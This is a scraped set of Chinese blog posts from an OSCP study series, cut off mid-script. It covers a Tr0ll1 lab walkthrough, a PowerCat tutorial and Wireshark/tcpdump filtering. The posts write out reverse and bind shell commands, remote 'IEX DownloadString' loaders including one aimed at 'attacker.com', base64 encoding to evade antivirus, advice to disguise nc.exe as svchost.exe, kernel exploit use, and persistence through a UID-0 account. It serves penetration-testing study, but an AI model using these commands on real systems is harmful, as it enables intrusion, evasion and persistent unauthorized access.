长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-05-16T16:24:22Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day14-kali%E7%9A%84bash%E8%84%9A%E6%9C%AC/","title":"Day14 Kali的Bash脚本"},{"content":" 关注 泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\nTr0ll: 1 靶场地址：https://www.vulnhub.com/entry/tr0ll-1,100/\n信息收集 1sudo arp-scan -l 2nmap -sS -sV -A -T5 -p- 172.168.169.140 1| http-robots.txt: 1 disallowed entry 2|_/secret 这个输出提示，有一个不让机器人爬虫爬取的目录secret，越不让看什么越要看，看了就一个图片，还不如不看。\n1|_End of status 2| ftp-anon: Anonymous FTP login allowed (FTP code 230) 3|_-rwxrwxrwx 1 1000 0 8068 Aug 10 2014 lol.pcap [NSE: writeable] 这个输出提示，ftp有一个可以匿名访问的文件，lol.pcap 1ftp 172.168.169.140 2ftp\u0026gt; user anonymous 3ftp\u0026gt; ls 4ftp\u0026gt; get lol.pcap 抓包分析 用Day12 Kali渗透工具Powercat和Wireshark、tcpdump 介绍的工具打开流量包分析\n1tshark -r lol.pcap -T fields -e ip.dst | sort | uniq -c | sort -nr | head 2sudo tcpdump -n -r lol.pcap| awk -F\u0026#34; \u0026#34; \u0026#39;{print $5}\u0026#39; | sort | uniq -c | head 3sudo tcpdump -n -r lol.pcap| awk -F\u0026#34; \u0026#34; \u0026#39;{print $3}\u0026#39; | sort | uniq -c | head 可以看到21端口的请求数量较多，而且结合前面nmap的扫描结果来看，应该是有尝试多次登录ftp。所以就单独把21端口提出来看一下。\nsudo tcpdump -n port 21 -r lol.pcap 然后发现了一个奇怪的txt文件。\n1sudo tcpdump -n -X -v -r capture.pcap tcp # 筛选所有tcp的流量 单独把重要信息的端口的内容解析出来。\n1tshark -r lol.pcap -Y \u0026#34;tcp.port == 51884\u0026#34; -T fields -e tcp.payload | xxd -r -p 网页目录信息收集 这里一开始的sup3rs3cr3tdirlol我没反应过来是什么，用AI翻译，AI自动识别位超级秘密目录，是把3看做e的做法，是英语中常见的作法。\n下载后查看似乎是个二进制文件。\n1wget http://172.168.169.140/sup3rs3cr3tdirlol/roflmao 提示找到0x0856BF地址继续，我们继续在网页中中找这个目录。\nSSH密码爆破 找到似乎是用户名和密码的两个文件，推测是ssh密码，复制后用hydra爆破。\n1hydra -L user.txt -P pass.txt 172.168.169.140 ssh -v 2wget http://172.168.169.140/0x0856BF/this_folder_contains_the_password/Pass.txt 这里作者开了个玩笑，密码不是Good_job_:)也不是Good_job_，而是文件名Pass.txt。所以用-p用一个密码字段爆破，即当前文件名，而不是-P指定密码文件爆破。\n得到用户名overflow和密码Pass.txt，用ssh登录即可。\n1ssh overflow@172.168.169.140 我们可以得到两个信息，一个是上一次登录是2014年从10.0.0.12登录的，所以这台靶机在流量包中的地址应该是10.0.0.6，第二个信息是，登陆后限时3分钟的操作。\n内网信息收集和提权 好在只是限时3分钟，没有限制失败一次后不能在登陆。我们手速快一点是没问题的。首先收集以下内核信息。\n1$ uname -a 2Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux 3$ lsb_release -a 4No LSB modules are available. 5Distributor ID: Ubuntu 6Description: Ubuntu 14.04.1 LTS 7Release: 14.04 8Codename: trusty 观察到Ubuntu版本比较老，所以可以尝试用老版本内核漏洞提权。\n1searchsploit Ubuntu 14.04 3.13.0 2searchsploit -m linux/local/37292.c 下载后，传到靶机编译后执行即可，由于有时长限制，我们先把要用到的脚本准备好。攻击机kali开启http服务。\n1python3 -m http.server 1cd /tmp 2wget http://172.168.169.128:8000/37292.c 3gcc -o exp 37292.c 4./exp 刚好在断网前拿到权限。如果是在真实过程中，拿到root权限后可以想办法把这个3分钟限制关掉，或者简历新的不限时的新账户用于持续攻击和横向移动。\n建立保活稳定持续的后门 1find / -name cronlog 2\u0026gt;/dev/null 2cat /var/log/cronlog 3find / -name cleaner.py 2\u0026gt;/dev/null 4cat /lib/log/cleaner.py 可以看到这里可以得知系统会每 2 分钟执行一次 cleaner.py 脚本。脚本内容就是清楚tmp目录下的东西。抓紧时间把这个删除的脚本改掉。\n但是负责给我们断网的脚本应该还在别处。可以通过以下命令排查，先全部执行完，再一个个分析。\n1echo $TMOUT 2cat /etc/ssh/sshd_config 3grep -Ri \u0026#34;pam_time.so\u0026#34; /etc/pam.d 4grep -Ri \u0026#34;timeout\\|kill.*ssh\u0026#34; /etc/cron.* 5grep -Ri \u0026#34;clean\u0026#34; /etc/cron.* 6cat /etc/update-motd.d/* echo $TMOUT没有输出，表示不是通过这个变量来限制时长的。\n1$ cat /etc/ssh/sshd_config 2# Package generated configuration file 3# See the sshd_config(5) manpage for details 4 5# What ports, IPs and protocols we listen for 6Port 22 7# Use these options to restrict which interfaces/protocols sshd will bind to 8#ListenAddress :: 9#ListenAddress 0.0.0.0 10Protocol 2 11# HostKeys for protocol version 2 12HostKey /etc/ssh/ssh_host_rsa_key 13HostKey /etc/ssh/ssh_host_dsa_key 14HostKey /etc/ssh/ssh_host_ecdsa_key 15HostKey /etc/ssh/ssh_host_ed25519_key 16#Privilege Separation is turned on for security 17UsePrivilegeSeparation yes 18 19# Lifetime and size of ephemeral version 1 server key 20KeyRegenerationInterval 3600 21ServerKeyBits 1024 22 23# Logging 24SyslogFacility AUTH 25LogLevel INFO 26 27# Authentication: 28LoginGraceTime 120 29PermitRootLogin without-password 30StrictModes yes 31 32RSAAuthentication yes 33PubkeyAuthentication yes 34#AuthorizedKeysFile %h/.ssh/authorized_keys 35 36# Don\u0026#39;t read the user\u0026#39;s ~/.rhosts and ~/.shosts files 37IgnoreRhosts yes 38# For this to work you will also need host keys in /etc/ssh_known_hosts 39RhostsRSAAuthentication no 40# similar for protocol version 2 41HostbasedAuthentication no 42# Uncomment if you don\u0026#39;t trust ~/.ssh/known_hosts for RhostsRSAAuthentication 43#IgnoreUserKnownHosts yes 44 45# To enable empty passwords, change to yes (NOT RECOMMENDED) 46PermitEmptyPasswords no 47 48# Change to yes to enable challenge-response passwords (beware issues with 49# some PAM modules and threads) 50ChallengeResponseAuthentication no 51 52# Change to no to disable tunnelled clear text passwords 53#PasswordAuthentication yes 54 55# Kerberos options 56#KerberosAuthentication no 57#KerberosGetAFSToken no 58#KerberosOrLocalPasswd yes 59#KerberosTicketCleanup yes 60 61# GSSAPI options 62#GSSAPIAuthentication no 63#GSSAPICleanupCredentials yes 64 65X11Forwarding yes 66X11DisplayOffset 10 67PrintMotd no 68PrintLastLog yes 69TCPKeepAlive yes 70#UseLogin no 71 72#MaxStartups 10:30:60 73#Banner /etc/issue.net 74 75# Allow client to pass locale environment variables 76AcceptEnv LANG LC_* 77 78Subsystem sftp /usr/lib/openssh/sftp-server 79 80# Set this to \u0026#39;yes\u0026#39; to enable PAM authentication, account processing, 81# and session processing. If this is enabled, PAM authentication will 82# be allowed through the ChallengeResponseAuthentication and 83# PasswordAuthentication. Depending on your PAM configuration, 84# PAM authentication via ChallengeResponseAuthentication may bypass 85# the setting of \u0026#34;PermitRootLogin without-password\u0026#34;. 86# If you just want the PAM account and session checks to run without 87# PAM authentication, then enable this but set PasswordAuthentication 88# and ChallengeResponseAuthentication to \u0026#39;no\u0026#39;. 89UsePAM yes KeyRegenerationInterval 3600作用：SSHv1 服务器密钥的重新生成时间间隔（单位：秒）。默认每 3600 秒（1小时） 重新生成一次密钥。注意：SSHv1 已过时且不安全，建议禁用 SSHv1 协议（现代系统默认使用 SSHv2）。这个如果是之后用密钥连接服务器的话，要注释掉这一行。不然一个小时后就要重新用密钥再次注册。\n1$ grep -Ri \u0026#34;pam_time.so\u0026#34; /etc/pam.d 2/etc/pam.d/su:# account requisite pam_time.so 3/etc/pam.d/login:# account requisite pam_time.so 虽然有这两个预留的，但是#表示这两行没有生效。\n观察每次登录后被断开的时间发现，无论我们什么时候登录，断开时间总是恰好在5，10的倍数时候断开，所以猜测是crontab中运行的每5分钟一次的脚本。\n1crontab -l 2cat /opt/lmao.py 查看lmao.py发现就是这个脚本每5分钟把overflow的登录会话关闭掉。如果我们想要获得稳定的ssh会话，只要把pkil那一行删掉即可。\n1# cat /opt/lmao.py 2#!/usr/bin/env python 3import os 4 5os.system(\u0026#39;echo \u0026#34;TIMES UP LOL!\u0026#34;|wall\u0026#39;) 6os.system(\u0026#39;pkill -u overflow\u0026#39;) 7sys.exit() 这样虽然还是会发广播，但是广播之后我们的会话不会掉了。或者改为反弹shell，我们在kali上监听即可。\n我们还可以新建一个全新的账户，拥有root权限，这样这个lmao.py也管不着我们了。但是这个靶机似乎限制了不让新建用户。\n我们还可以暴力搜索这两行字是从哪个文件出来的，用时较长。\nsudo grep -rnw \u0026#39;/\u0026#39; -e \u0026#39;somewhere\u0026#39; --exclude-dir={proc,sys,dev,run} 2\u0026gt;/dev/null sudo grep -rnw \u0026#39;/\u0026#39; -e \u0026#39;TIMES UP LOL!\u0026#39; --exclude-dir={proc,sys,dev,run} 2\u0026gt;/dev/null 补充知识点：字母混淆 以下是更多通过 字母数字混淆（Leet Speak 或 1337 语）生成的趣味性隐藏词组示例，适用于密码、文件夹名、代码变量等场景：\n基础替换规则 字母 常见替换字符 A/a 4, @, ^ B/b 8, 6 E/e 3, € G/g 6, 9 I/i 1, !, O/o 0, () S/s 5, $ T/t 7, + 示例列表 1. 简单数字替换 \u0026ldquo;backup folder\u0026rdquo; → b4ckupf0ld3r \u0026ldquo;private data\u0026rdquo; → pr1v4t3d4t4 \u0026ldquo;admin tools\u0026rdquo; → 4dm1nt00l5 2. 符号混合替换 \u0026ldquo;security logs\u0026rdquo; → $3cur1tyl0g$ \u0026ldquo;confidential\u0026rdquo; → c0nf1d3n7!4l \u0026ldquo;hacker zone\u0026rdquo; → h4ck3rz0n3 3. 复杂混淆（符号+大小写） \u0026ldquo;top secret project\u0026rdquo; → 7()p$3cr37pr0j3c7 \u0026ldquo;system files\u0026rdquo; → $y$73mF!l3$ \u0026ldquo;encryption key\u0026rdquo; → 3ncrYP710nK3y! 4. 幽默短语 \u0026ldquo;delete this later\u0026rdquo; → d3l3737h!zl4t3r \u0026ldquo;do not open\u0026rdquo; → d0N()70p3n!! \u0026ldquo;trust no one\u0026rdquo; → 7ru$7n00n3 5. 网络文化梗 \u0026ldquo;hello world\u0026rdquo; → h3ll0w0r1d \u0026ldquo;lol no way\u0026rdquo; → 101n0w4y \u0026ldquo;yeet archive\u0026rdquo; → y3374rch!v3 进阶技巧 随机大小写： p4SsW0rD（password） AdM!n_P4n3l（admin panel） 插入冗余字符： s3cr3t!!1!（结尾的 !!1! 模仿打字错误） f0ld3r~#（添加无意义符号） 拆分单词： d4t4_b4s3（database） l0g_5t0r4g3（log storage） 实际应用场景 隐藏文件夹名 将 secret_docs 改为 $3cr37_d0x 生成强密码 M@st3rK3y!2024（原词：MasterKey） 代码变量名 u53r_1nput（user input） 借助AI能帮我们快速识别类似的英语文化的短语，弥补我们英语的不足。\n补充知识点：新建与root相同权限的用户 在 Ubuntu 14 中，若需要新建一个与 root 拥有相同权限的账户，可以通过以下方法实现。（注意：赋予普通用户 root 权限存在安全风险，请谨慎操作！）\n方法 1：将用户加入 sudo 组（推荐） 这是最安全的做法，用户可以通过 sudo 临时获得 root 权限。\n步骤 创建用户： 1sudo adduser newadmin # 交互式创建用户，设置密码等信息 将用户加入 sudo 组： 1sudo usermod -aG sudo newadmin 验证权限： 1su - newadmin # 切换到新用户 2sudo -i # 测试获取 root shell 方法 2：直接赋予用户 root 权限（UID=0） 将用户的 UID 改为 0，使其等同于 root 用户。（危险！此操作会绕过权限控制，慎用！）\n步骤 创建用户： 1sudo useradd -m -s /bin/bash newroot # 创建用户并生成主目录 修改用户 UID 为 0： 1sudo usermod -u 0 newroot 设置密码： 1sudo passwd newroot # 设置新用户的密码 验证权限： 1su - newroot # 切换到新用户 2whoami # 应显示 \u0026#34;root\u0026#34; 验证用户权限 1# 检查用户组 2groups newadmin 3 4# 检查 sudo 权限 5sudo -lU newadmin 6 7# 检查 UID（若使用方法2） 8id newroot # 应显示 uid=0(root) 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-05-16T11:29:27Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day13-tr0ll1-%E9%9D%B6%E5%9C%BAwp/","title":"Day13 Tr0ll1 靶场WP"},{"content":" 关注 泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\nPowerCat ​概述​​\n定义：基于 PowerShell 的 Netcat 变种，支持 TCP/UDP 通信、端口转发和反向 Shell。\n优势：无需安装，可直接在内存中运行，规避杀毒软件检测（上一章的原版powershell不关WD直接用不了，实际环境中是很鸡肋的）。\n渗透测试用途\n反向 Shell：绕过防火墙建立远程控制通道。\n文件传输：在攻击者和目标间传输数据。\n端口扫描：探测开放端口和服务。\n代理跳板：通过目标主机访问内网资源。\n使用方法\n步骤 1：加载 PowerCat 1# kali下载 2sudo apt install powercat 3#安装后文件位于，/usr/share/windows-resources/powercat,需要拷贝到windows中执行 4 5# Windows下载kali的文件 6powershell -c \u0026#34;(new-object System.Net.WebClient).DownloadFile(\u0026#39;http://172.168.169.128:8000/powercat.ps1\u0026#39;,\u0026#39;C:\\Users\\Administrator\\Downloads\\powercat.ps1\u0026#39;)\u0026#34; 7 8# Windows远程加载（常用）,不加载用不了的 9IEX (New-Object Net.WebClient).DownloadString(\u0026#39;http://172.168.169.128:8000/powercat.ps1\u0026#39;) 步骤 2：常用操作 1# 监听端口并获取反向 Shell（攻击者端） 2powercat -l -p 4444 -e cmd 3 4# 目标机连接攻击者（反向 Shell） 5powercat -c attacker_ip -p 4444 -e cmd 6 7# 端口转发（将本地 8080 转发到 10.0.0.1:80） 8powercat -l -p 8080 -r tcp:10.0.0.1:80 记得关闭Windows Defender不然执行不成功。\npowercat 传输文件 1kali：nc -nvlp 8000 \u0026gt; ahell.txt #接收端 2 3powercat -c 172.168.169.128 -p 8000 -i hello.txt #发送端 -c #客户端\n-p #目标端口\n-i #要传输的本地文件\n反弹shell 1Kali：nc -nvlp 443 #控制端 2 3powercat -c 172.168.169.128 -p 443 -e cmd.exe #被控端 正向shell 1powercat -l -p 4443 -e cmd.exe #被控端 2 3kali： nc 172.168.169.136 4443 #控制端 加密防微软 1powercat -c 172.168.169.128 -p 443 -e cmd.exe -ge \u0026gt; bmshell.ps1 2 3# -ge（base64编码） 4 5# 编码以后就是全是乱码，所以在杀毒软件，或者说防守方看起来就不像是这个恶意的一个脚本文件。 6powershell.exe -E (bmshell.ps1用notepad打开复制编码） 7 8# 执行成功 Wireshark Wireshark 和 Burp Suite 是两款广泛用于网络分析和安全测试的工具，但它们在功能、使用场景和目标用户上有显著区别。以下是两者的主要区别：\n1. 核心功能 Wireshark 网络协议分析工具：主要用于捕获和分析网络流量（所有经过网卡的数据包）。 被动监听：监控网络流量，不能直接修改数据包。 协议解析：支持数千种协议（如 TCP/IP、HTTP、DNS、ARP 等），提供详细的协议层级解析。 用途：网络故障排查、性能分析、协议学习、安全取证（如抓取恶意流量）。 Burp Suite Web 安全测试工具：专注于 Web 应用程序的渗透测试和漏洞挖掘。 主动拦截与修改：作为代理服务器拦截、修改和重放 HTTP/HTTPS 请求。 模块化功能：包含 Scanner（漏洞扫描）、Intruder（暴力破解）、Repeater（请求重放）、Proxy（流量拦截）等模块。 用途：测试 SQL 注入、XSS、CSRF 等 Web 漏洞，模拟攻击行为。 2. 使用场景 Wireshark 分析网络层（如 TCP 连接问题）或传输层（如丢包、延迟）问题。 监控所有网络流量（包括非 HTTP 协议，如 DNS、ICMP、VoIP）。 解密 SSL/TLS 流量（需配置私钥）。 Burp Suite 测试 Web 应用程序的安全性（如 API、网站前后端）。 修改 HTTP 请求参数（如 Cookie、Header）以验证漏洞。 自动化扫描 Web 应用的常见漏洞（如 OWASP Top 10）。 3. 协议支持 Wireshark 支持几乎所有网络协议（从底层以太网到应用层协议）。 适用于分析非 Web 流量（如 FTP、SSH、SMTP）。 Burp Suite 主要针对 HTTP/HTTPS 协议，部分功能支持 WebSocket。 无法直接分析非 HTTP 流量（如 ICMP、TCP 握手过程）。 4. 操作方式 Wireshark 需要选择网卡或导入抓包文件（.pcap）。 通过过滤器（如 http.request.method == \u0026quot;GET\u0026quot;）筛选流量。 Burp Suite 需要配置浏览器代理（如 127.0.0.1:8080）以拦截流量。 通过模块化工具链（如 Proxy → Repeater → Intruder）进行测试。 5. 用户角色 Wireshark 网络管理员、运维工程师、协议开发人员。 Burp Suite 安全工程师、渗透测试人员、Web 开发人员。 6. 典型应用示例 Wireshark 分析为什么某个设备无法连接到服务器（检查 TCP 三次握手是否完成）。 捕获 DNS 查询失败的根本原因。 Burp Suite 修改登录请求中的密码参数，测试是否存在 SQL 注入漏洞。 使用 Intruder 模块暴力破解弱密码。 总结 对比项 Wireshark Burp Suite 定位 网络流量分析工具 Web 应用安全测试工具 协议支持 所有网络协议 主要 HTTP/HTTPS 操作方式 被动监听、解析流量 主动拦截、修改和重放请求 核心用户 网络工程师、运维人员 安全工程师、Web 开发者 典型场景 排查网络故障、学习协议 挖掘 Web 漏洞、模拟攻击 协同使用 在实际工作中，两者可以互补：\n用 Wireshark 抓取底层网络问题（如 TCP 连接失败）。 用 Burp Suite 深入测试 Web 应用逻辑漏洞（如越权访问）。 实操 使用root账号运行wireshark存在风险\n抓包能力通过/usr/bin/dumpcap实现，默认只有root，wireshark组成员抓包\n.允许普通用户在所有网卡抓包\n1sudo usermod -aG wireshark $USER 指定ip地址，或者直接选择网卡查看实时流量\n用筛选器做流量筛选\nip.addr==172.168.169.128 一、Wireshark 图形界面常用过滤语法 在 Wireshark 的过滤栏中，可以通过协议、字段、逻辑运算符等快速筛选数据包。以下是一些常用过滤命令：\n1. 基础过滤 按协议过滤： tcp # 显示所有 TCP 流量 udp # 显示所有 UDP 流量 http # 显示 HTTP 流量 dns # 显示 DNS 查询/响应 icmp # 显示 ICMP 流量（如 ping） ssl # 显示 SSL/TLS 流量 按 IP 地址过滤： ip.addr == 192.168.1.100 # 显示与指定 IP 相关的流量（源或目标） ip.src == 192.168.1.100 # 显示源 IP 为 192.168.1.100 的流量 ip.dst == 10.0.0.1 # 显示目标 IP 为 10.0.0.1 的流量 按端口过滤： tcp.port == 80 # 显示 TCP 端口为 80 的流量（HTTP） udp.port == 53 # 显示 UDP 端口为 53 的流量（DNS） tcp.dstport == 443 # 显示目标 TCP 端口为 443 的流量（HTTPS） 2. 高级过滤 组合逻辑运算符： http \u0026amp;\u0026amp; ip.src == 192.168.1.100 # 显示指定 IP 的 HTTP 流量 tcp.port == 80 || tcp.port == 443 # 显示 HTTP 或 HTTPS 流量 !arp # 排除所有 ARP 流量 按内容过滤： http.request.uri contains \u0026#34;login\u0026#34; # 显示 URL 包含 \u0026#34;login\u0026#34; 的 HTTP 请求 tcp.payload contains \u0026#34;password\u0026#34; # 显示 TCP 载荷中包含 \u0026#34;password\u0026#34; 的数据包 按协议字段过滤： http.response.code == 404 # 显示所有 HTTP 404 响应 tcp.flags.syn == 1 # 显示 TCP SYN 标志位为 1 的数据包（握手） dns.qry.type == A # 显示 DNS A 记录查询 3. 流量分析 统计特定流量： tcp.analysis.retransmission # 显示 TCP 重传的数据包 tcp.analysis.duplicate_ack # 显示重复确认包 tcp.analysis.zero_window # 显示 TCP 零窗口（流量控制问题） 时间范围过滤： frame.time \u0026gt;= \u0026#34;2023-10-01 12:00:00\u0026#34; \u0026amp;\u0026amp; frame.time \u0026lt;= \u0026#34;2023-10-01 13:00:00\u0026#34; 二、命令行工具 tshark 的实用命令 tshark 是 Wireshark 的命令行版本，适用于服务器环境或自动化脚本。\n1. 基本捕获 tshark -i eth0 # 捕获 eth0 网卡的流量 tshark -i any # 捕获所有网卡的流量 tshark -w output.pcap # 将捕获的流量保存到文件 tshark -r input.pcap # 读取并分析已有的抓包文件 2. 过滤捕获 tshark -i eth0 -f \u0026#34;tcp port 80\u0026#34; # 捕获 TCP 80 端口的流量（BPF 语法） tshark -i eth0 -Y \u0026#34;http\u0026#34; # 捕获并实时显示 HTTP 流量（显示过滤） tshark -r input.pcap -Y \u0026#34;ip.addr==192.168.1.100\u0026#34; # 从文件过滤指定 IP 3. 输出格式 tshark -r input.pcap -T fields -e ip.src -e http.request.uri # 提取指定字段 tshark -r input.pcap -V # 显示详细协议解析 tshark -r input.pcap -qz \u0026#34;io,phs\u0026#34; # 统计流量协议分布 4. 高级功能 提取 HTTP 请求： tshark -r input.pcap -Y \u0026#34;http.request\u0026#34; -T json \u0026gt; http_requests.json 统计 TCP 会话： tshark -r input.pcap -qz conv,tcp # 列出所有 TCP 会话（源/目标 IP 和端口） 解密 HTTPS 流量（需私钥）： tshark -r encrypted.pcap -o \u0026#34;tls.keylog_file:sslkeylog.log\u0026#34; -Y \u0026#34;http\u0026#34; 三、其他实用技巧 保存过滤器： 在 Wireshark 中右键点击过滤栏 → \u0026ldquo;Save Filter\u0026rdquo; 可保存常用过滤条件。 导出特定数据： 导出 HTTP 文件：File → Export Objects → HTTP。 导出特定数据包：右键数据包 → \u0026ldquo;Export Packet Bytes\u0026rdquo;。 着色规则： 通过 View → Coloring Rules 自定义颜色标记特定流量（如高亮错误码 500）。 总结 场景 命令/语法示例 抓取 HTTP 流量 tshark -i eth0 -Y \u0026quot;http\u0026quot; 分析指定 IP 的 DNS 查询 dns \u0026amp;\u0026amp; ip.src==192.168.1.100 查找 TCP 重传 tcp.analysis.retransmission 提取 URL 中的关键字 http.request.uri contains \u0026quot;admin\u0026quot; 通过灵活组合过滤语法和命令行工具，可以快速定位网络问题或分析安全事件。\nTcpdump Tcpdump 106是基于文本的网络嗅探器，尽管缺少图形界面，但仍具有简化，强大和灵活的特点。它是迄今为止最常用的命令行数据包分析器，可以在大多数Unix和Linux操作系统上找到，但是本地用户权限决定了捕获网络流量的能力。\n1# 下载官网练习包 2wget wget https://www.offensive-security.com/pwk-online/password_cracking_filtered.pcap 3 4# 用tcpdump读取流量包 5sudo tcpdump -r password_cracking_filtered.pcap 读取是全部显示的，我们可以用一些脚本来做过滤。\n1sudo tcpdump -n -r password_cracking_filtered.pcap | awk -F\u0026#34; \u0026#34; \u0026#39;{print $3}\u0026#39; | sort | uniq -c | head 2sudo tcpdump -n -r password_cracking_filtered.pcap | awk -F\u0026#34; \u0026#34; \u0026#39;{print $5}\u0026#39; | sort | uniq -c | head 3 4sudo tcpdump -n -r password_cracking_filtered.pcap | # 读取抓包文件 5awk -F\u0026#34; \u0026#34; \u0026#39;{print $3}\u0026#39; | # 提取第三列字段 6sort | # 排序 7uniq -c | # 统计唯一值出现次数 8head # 显示前10行结果 也可以用tshark来做这个功能\ntshark -r password_cracking_filtered.pcap -T fields -e ip.dst | sort | uniq -c | sort -nr | head 可以发现172.16.40.10这个ip请求量尤其多，推测是有爆破攻击行为。所以进一步排查。\nsudo tcpdump -n src host 172.16.40.10 -r password_cracking_filtered.pcap sudo tcpdump -n dst host 172.16.40.10 -r password_cracking_filtered.pcap sudo tcpdump -n port 81 -r password_cracking_filtered.pcap 1sudo tcpdump -nX -r password_cracking_filtered.pcap 发现有一些和admin字样相关的信息\n1sudo tcpdump -A -n \u0026#39;tcp[13] = 24\u0026#39; -r password_cracking_filtered.pcap 1sudo tcpdump -A -n \u0026#34;tcp[13]=24\u0026#34; -r password_cracking_filtered.pcap | grep ^Authorization | sort -u 1sudo tcpdump -A -n \u0026#34;tcp[13]=24\u0026#34; -r password_cracking_filtered.pcap | grep ^Authorization | sort -u | cut -d \u0026#34; \u0026#34; -f 3 | base64 -d 优化显示输出\n1sudo tcpdump -A -n \u0026#34;tcp[13]=24\u0026#34; -r password_cracking_filtered.pcap | 2grep \u0026#39;^Authorization\u0026#39; | 3sort -u | 4cut -d \u0026#34; \u0026#34; -f 3 | 5while read line; do echo \u0026#34;$line\u0026#34; | base64 -d; echo; done 可以看到这个行为就是在爆破admin用户的密码。\n🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-05-15T10:40:48Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day12-kali%E6%B8%97%E9%80%8F%E5%B7%A5%E5%85%B7powercat%E5%92%8Cwireshark/","title":"Day12 Kali渗透工具Powercat和Wireshark、tcpdump"},{"content":" 关注 泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n以下内容建议在虚拟机中测试，安装Windows10直接点击注册即可，安装Windows11可以参考如下教程设置后链接。win系统镜像可关注泷羽Sec-静安公众号，后台回复“OSCP配套工具”获取本文的工具，文件夹Day11-12中有。\n手把手、超详细：安装Windows11 虚拟机Vmware 16.x Pro教程！\nPowerShell 下载地址：https://aka.ms/PSWindows\n​​概述​​\n定义：微软开发的脚本语言和命令行 Shell，集成于 Windows 系统，支持自动化任务和系统管理。\n特点：无需额外安装，可直接调用 .NET 框架，功能强大且灵活。\n渗透测试用途\n信息收集：枚举系统信息、进程、服务等（如 Get-Process）。\n权限提升：利用漏洞或配置错误提权（如绕过 UAC）。\n横向移动：通过 WMI 或 PSRemoting 控制内网其他主机。\n文件传输：下载恶意文件（Invoke-WebRequest 或 IEX）。\n持久化：创建计划任务、注册表项等维持访问。\nPowerShell ISE和终端cmd不同，PowerShell ISE能执行的命令比终端多，而且ISE的界面类似普通编程IDE界面，上方可以编辑ps1文件，并运行，在下方显示运行结果。右侧显示各种模块的名称，可以直接查找后插入。\n常用命令示例\n1# 绕过执行策略执行脚本 2powershell -ExecutionPolicy Bypass -File script.ps1 3 4# 从远程加载并执行脚本（无文件攻击） 5IEX (New-Object Net.WebClient).DownloadString(\u0026#39;http://attacker.com/script.ps1\u0026#39;) 6 7# 编码命令绕过检测 8$command = \u0026#34;Get-Process\u0026#34; 9$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 10$encoded = [Convert]::ToBase64String($bytes) 11powershell -EncodedCommand $encoded 实操练习 1Get-ExecutionPolicy 作用：查看当前 PowerShell 的 脚本执行策略（Execution Policy）。 输出 RemoteSigned： 表示当前策略允许运行 ​​本地脚本​​，但来自互联网的脚本（如通过邮件或下载的脚本）必须经过 ​​数字签名​​ 才能运行。 渗透测试意义： 攻击者需确认目标是否允许直接运行脚本，若策略为 Restricted（默认），则需绕过限制（如使用 -ExecutionPolicy Bypass） 1Set-ExecutionPolicy Unrestricted 作用：将执行策略修改为 Unrestricted，允许运行 所有脚本（包括远程未签名脚本），但执行远程脚本时会弹出警告。\n渗透测试用途\n绕过默认安全限制，便于直接运行恶意脚本（如从互联网下载的 .ps1 文件）。 通常在提权后使用，为后续攻击铺路。 风险： 用户可能因忽略警告而误执行恶意脚本。\nKali 中自带一些用于渗透Windows的工具，存在/usr/share/windows-binaries文件夹下。用命令启动一个简单的服务器，可以访问下载即将要用到的软件。\n1python3 -m http.server powershell -c \u0026#34;(new-object System.Net.WebClient).DownloadFile(\u0026#39;http://172.168.169.128:8000/nc.exe\u0026#39;,\u0026#39;C:\\Users\\Administrator\\Downloads\\nc.exe\u0026#39;)\u0026#34; 作用： 使用 System.Net.WebClient 类从攻击者控制的服务器（192.168.162.128）下载 nc.exe（Netcat 工具），并保存到 C:\\nc.exe。 渗透测试用途\n下载攻击工具：Netcat 常用于创建反向 Shell、端口扫描或文件传输。\n横向移动：将工具上传到目标内网主机，进一步控制其他设备。\n持久化：结合计划任务或服务，维持长期访问权限。\n如果是在靶机上测试，记得关闭Windows的防病毒功能，因为这个nv文件十分典型，会报病毒。如果是在实战渗透中，要对nc文件做加密以绕过检测。绕过检测技巧\n使用加密协议（如 HTTPS）或混淆 URL。 重命名 nc.exe 为合法文件名（如 svchost.exe）。 直接在内存中加载工具（无文件攻击），避免写入磁盘。 反弹windows的shell到kali中 Windows中打开ISE，在编辑框中输入\n$listener = New-Object System.Net.Sockets.TcpListener(\u0026#39;0.0.0.0\u0026#39;, 443); $listener.start(); $client = $listener.AcceptTcpClient(); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535 | % {0}; while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); $sendback = (iex $data 2\u0026gt;\u0026amp;1 | Out-String); $sendback2 = $sendback + \u0026#39;PS \u0026#39; + (pwd).Path + \u0026#39;\u0026gt; \u0026#39;; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte, 0, $sendbyte.Length); $stream.Flush(); $client.Close(); $listener.Stop() } 然后在kali中输入\nnc -nv 172.168.169.136 443 但是这样获得的链接不稳定，我们把('0.0.0.0', 443);改为攻击机的地址，就能获得稳定的shell。\n$listener = New-Object 